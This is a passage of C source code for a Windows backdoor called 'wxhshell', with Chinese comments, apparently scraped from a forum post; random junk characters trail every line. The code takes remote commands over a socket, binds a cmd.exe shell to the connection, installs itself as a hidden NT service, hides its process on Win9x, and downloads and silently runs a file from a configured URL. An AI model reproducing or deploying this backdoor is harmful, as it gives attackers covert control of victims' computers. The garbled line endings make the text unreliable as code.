    switch(cmd[0]) { ]hlQU%&  
  xTG5VBv  
  // 帮助 r+Sv(KS4i^  
  case '?': { X r o5~G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7lYf+&JZ  
    break; pbh>RS=ri  
  } }x6)}sz7  
  // 安装 "w 4^i!\  
  case 'i': { LTx,oa:ma  
    if(Install()) YpZuAJm<2_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~2[kCuu  
    else [#aJ- Uu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `E;xI v|  
    break; ;<o?JM  
    } @@3 NSKA  
  // 卸载 $2]>{g  
  case 'r': { BQ,749^S  
    if(Uninstall())  f^}n#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OGH,K'l  
    else Cw!tB1D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ^[I> #U  
    break; ?;w`hA3ei  
    } \u6.*w5TI  
  // 显示 wxhshell 所在路径 #3>jgluM'  
  case 'p': {  ^0{t  
    char svExeFile[MAX_PATH]; Kl?C[  
    strcpy(svExeFile,"\n\r"); WOgkv(5KN  
      strcat(svExeFile,ExeFile); A]%*ye"NT  
        send(wsh,svExeFile,strlen(svExeFile),0); PXl%"O%d  
    break; 1D1kjM^Bo  
    } 8YPX8d8u  
  // 重启 mxH63$R  
  case 'b': { LGtw4'yr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ijcF[bm E  
    if(Boot(REBOOT)) N.|zz)y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mDt!b6N/  
    else { "J&WH~8+N  
    closesocket(wsh); TrgKl2xfx  
    ExitThread(0); _b)Ie`a.H  
    } hBz>E 4mEv  
    break; .i;?8?  
    } ^!O!HMX0  
  // 关机 O|Y`:xvc  
  case 'd': { J}-e9vK-#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f6( 1jx"  
    if(Boot(SHUTDOWN)) 7^!iGhI]r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1TzwXX7  
    else { $PlMyLu7jc  
    closesocket(wsh); x!7!)]h  
    ExitThread(0); mWP&N#vwh  
    } ]l=CiG4!M  
    break; r0OP !u  
    } D\-DsT.H  
  // 获取shell .f[z_% ar  
  case 's': { Gf!c  
    CmdShell(wsh); 2#qc YU  
    closesocket(wsh); CCC9I8rZD  
    ExitThread(0); 1JOoIC jB  
    break; )2^r 0(x  
  } j:8Pcx  
  // 退出 C!1)3w|  
  case 'x': { 5|}u25J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +~==qLsU  
    CloseIt(wsh); 3C;;z  
    break; wrJ" (:VZ  
    } -`X`Ff  
  // 离开 V<}chLd,  
  case 'q': { Q7zpu/5?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #<V5sgq S  
    closesocket(wsh); 8X? EB6=c  
    WSACleanup(); ~XXNzz ]?  
    exit(1); JCB3 BZg7&  
    break; [T3%Xt'4  
        } 4 B[uF/[  
  } #N"QTD|i  
  } N]ebKe  
WXf[W  
  // 提示信息 y\9#"=+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E KJ2P$  
} w}97`.Kt!n  
  } {XC[Ia6jtL  
pOB<Bx5t  
  return; K|D1  
} 5]kv1nQ  
XQOM6$~,  
// shell模块句柄 SY}"4=M?l  
int CmdShell(SOCKET sock) $ \!OO)  
{ +sq_fd ;'D  
STARTUPINFO si; =<TJ[,h et  
ZeroMemory(&si,sizeof(si)); k O.iJcZg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qip@L WvT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #g2&x sU  
PROCESS_INFORMATION ProcessInfo; xlsAct:  
char cmdline[]="cmd"; I2) 2'j,B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "d0D8B7HI@  
  return 0; |WT]s B0Eq  
} c:B` <  
I,Jb_)H&t  
// 自身启动模式 +'VYqu/  
int StartFromService(void) 5CfD/}{:#I  
{ _0ZBG(  
typedef struct (7$BF~s:,  
{ 9@nd>B  
  DWORD ExitStatus; *vqUOh  
  DWORD PebBaseAddress; [{>1wJ Pdj  
  DWORD AffinityMask; g^jTdrW/s  
  DWORD BasePriority; X<v1ES$  
  ULONG UniqueProcessId; _1YC9}  
  ULONG InheritedFromUniqueProcessId; =?\%E[j  
}   PROCESS_BASIC_INFORMATION; ^oE#;aS  
u2[L^]|  
PROCNTQSIP NtQueryInformationProcess; ?O]RQXsZ2  
X]W(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Z:qU{[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (bB"6 #TI  
e)XnS'  
  HANDLE             hProcess; 3m&  
  PROCESS_BASIC_INFORMATION pbi; }{&;\^i  
CHCT e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [;~"ctf{  
  if(NULL == hInst ) return 0; :FmH=pI!=  
&xt GabNk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E},zB*5TH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b9v<Jk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ##alzC  
v}IhO~`uEq  
  if (!NtQueryInformationProcess) return 0; Otf{)f  
& Yx12B\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }iU pBn  
  if(!hProcess) return 0; fILvEf4b  
~Jj~W+h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tgbq4xR(  
-]n%+,3L  
  CloseHandle(hProcess); y(^\]-fE  
.t&G^i'n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zzb?Nbf  
if(hProcess==NULL) return 0; P>`|.@  
nC!L<OMr  
HMODULE hMod; EP+LK?{%  
char procName[255]; Z B!~@Vf  
unsigned long cbNeeded; U9 mK^  
sN#ju5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $>+g)  
kZi/2UA5Z  
  CloseHandle(hProcess); dB:c2  
mGkQx -|  
if(strstr(procName,"services")) return 1; // 以服务启动 uW!saT5o  
#nAq~@X  
  return 0; // 注册表启动 jCIY(/  
} |WOc0M[U  
h[<l2fy  
// 主模块 aEVy20wd  
int StartWxhshell(LPSTR lpCmdLine) } .<(L  
{ H(y Gh  
  SOCKET wsl; Tb8r+~HK  
BOOL val=TRUE; 64>CfU(  
  int port=0; #5{BxX&\  
  struct sockaddr_in door; 4x#tUzb;  
cRWB`&  
  if(wscfg.ws_autoins) Install(); lWT`y  
<vD(,||  
port=atoi(lpCmdLine); n.C5w8f  
H/={RuU  
if(port<=0) port=wscfg.ws_port; kJNwA8 7  
h@y>QhYU0  
  WSADATA data; hr hj4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8Kk41=  
%}XyzGq{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TZ!@IBu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S_ ;r!.  
  door.sin_family = AF_INET; 8lA,3'z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W,_2JqQp  
  door.sin_port = htons(port); <td]k%*+  
{esb"beGLa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xH}bX-m  
closesocket(wsl); 25@@-2h @  
return 1; -~X[j2  
} }Gy M<!:  
XP?)x Dr8  
  if(listen(wsl,2) == INVALID_SOCKET) { vJV/3-yX  
closesocket(wsl); & d$X:  
return 1; vbZ!NO!H  
} S2nX{=  
  Wxhshell(wsl); c& bms)Jwa  
  WSACleanup(); 5}Xi`'g,  
^Xu4N"@  
return 0; ;Zr7NKs  
zgH*B*)bj  
} 4??LK/s*  
 ARs]qUY  
// 以NT服务方式启动 ^5( d^N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g x?r8  
{ NK(_ &.F  
DWORD   status = 0; M CP GDr  
  DWORD   specificError = 0xfffffff; 2% OAQ(  
()F {kM8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #N'9 w .  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DH.UJ +  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W8;!rFW  
  serviceStatus.dwWin32ExitCode     = 0; Re %dNxJ=  
  serviceStatus.dwServiceSpecificExitCode = 0; Jyr V2Tk^  
  serviceStatus.dwCheckPoint       = 0; +lhCF*@*N  
  serviceStatus.dwWaitHint       = 0; %H2ios[UO  
qd#7A ksm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,VSO;:Z  
  if (hServiceStatusHandle==0) return; k}NM]9EAE  
P8ZmrtQm  
status = GetLastError(); E0 E K88  
  if (status!=NO_ERROR) ?:-:m'jdU  
{ $ ]#WC\Hv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; As`=K$^Il.  
    serviceStatus.dwCheckPoint       = 0; n${k^e-=  
    serviceStatus.dwWaitHint       = 0; r\Yh'cRW{  
    serviceStatus.dwWin32ExitCode     = status; BMuEfa^  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jmi,;Af'/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sowwXrECg@  
    return; SW'eTG  
  } \g h |G  
QCE7VV1Rw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Oc?:R'$  
  serviceStatus.dwCheckPoint       = 0; $(]nl%<Q  
  serviceStatus.dwWaitHint       = 0; X{OWDy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !2Z"Lm  
} 85;bJfY  
SgehOu  
// 处理NT服务事件,比如:启动、停止 n+te5_F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jlFlhj:/I  
{ di0@E<@1:  
switch(fdwControl) L$.3,./  
{  0yq  
case SERVICE_CONTROL_STOP: vv{+p(~**O  
  serviceStatus.dwWin32ExitCode = 0; 4KnBb_w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zB~ <@  
  serviceStatus.dwCheckPoint   = 0; Y:t?W  
  serviceStatus.dwWaitHint     = 0; |5O>7~Tp  
  { ^\?Rh(pu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K,,) FM  
  } w}zmcO:x  
  return; ?+^p$'5  
case SERVICE_CONTROL_PAUSE: a.}#nSYP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {\P%J:s#9  
  break; 0doJF@H  
case SERVICE_CONTROL_CONTINUE: IDFzyg_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E G\;l9T  
  break; 6w, "i#E!  
case SERVICE_CONTROL_INTERROGATE: %Uz\P|6PO  
  break; b/]4#?g  
}; Hz2Sx1.i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J'$NBws  
} 'xGhMgR;  
*Q/^ib9=  
// 标准应用程序主函数 /#H P;>!n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =\5WYC  
{ G[yzi  
hr6j+p:  
// 获取操作系统版本 , f$P[c  
OsIsNt=GetOsVer(); k:R\;l5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]\ _tO  
ce}A!v  
  // 从命令行安装 }6/M5zF3  
  if(strpbrk(lpCmdLine,"iI")) Install(); H>+])~#  
fe98 Y-e  
  // 下载执行文件 PQ[?zNrSV  
if(wscfg.ws_downexe) { X )tH23  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h72/03!  
  WinExec(wscfg.ws_filenam,SW_HIDE); V3q`V/\  
} aaT3-][  
cK u[ 4D{  
if(!OsIsNt) { k'#3fz\  
// 如果时win9x,隐藏进程并且设置为注册表启动 iC=>wrqY>  
HideProc(); MyllL@kP  
StartWxhshell(lpCmdLine); 0#!}s&j/  
} Y6VJr+Ap(  
else x]x3iFD  
  if(StartFromService()) L'? aoRj  
  // 以服务方式启动 M-Efe_VRQc  
  StartServiceCtrlDispatcher(DispatchTable); L%is"NZh  
else d$3md<lIB  
  // 普通方式启动 >{tn2Fkg>  
  StartWxhshell(lpCmdLine); 6{=U= *  
Af]zv~uM  
return 0; }3X/"2SW^  
}
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只看该作者 1 发表于: 2006-10-10
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